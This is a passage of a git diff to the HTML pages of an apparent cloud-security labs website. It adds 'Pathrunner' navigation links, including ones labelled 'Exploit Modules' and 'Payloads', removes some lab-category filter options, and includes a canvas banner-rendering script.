+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/passrole-lambda-admin/index.html b/docs/labs/passrole-lambda-admin/index.html
index 843a1d6b..696e604c 100644
--- a/docs/labs/passrole-lambda-admin/index.html
+++ b/docs/labs/passrole-lambda-admin/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/public-lambda-with-admin/index.html b/docs/labs/public-lambda-with-admin/index.html
index 5f8a7a47..241d9742 100644
--- a/docs/labs/public-lambda-with-admin/index.html
+++ b/docs/labs/public-lambda-with-admin/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/resource-policy-bypass/index.html b/docs/labs/resource-policy-bypass/index.html
index 84d70acc..aa87969d 100644
--- a/docs/labs/resource-policy-bypass/index.html
+++ b/docs/labs/resource-policy-bypass/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/role-chain-to-s3/index.html b/docs/labs/role-chain-to-s3/index.html
index eea2fdef..21ef40e8 100644
--- a/docs/labs/role-chain-to-s3/index.html
+++ b/docs/labs/role-chain-to-s3/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/root-trust-role-assumption/index.html b/docs/labs/root-trust-role-assumption/index.html
index 586d5915..8b8178ad 100644
--- a/docs/labs/root-trust-role-assumption/index.html
+++ b/docs/labs/root-trust-role-assumption/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
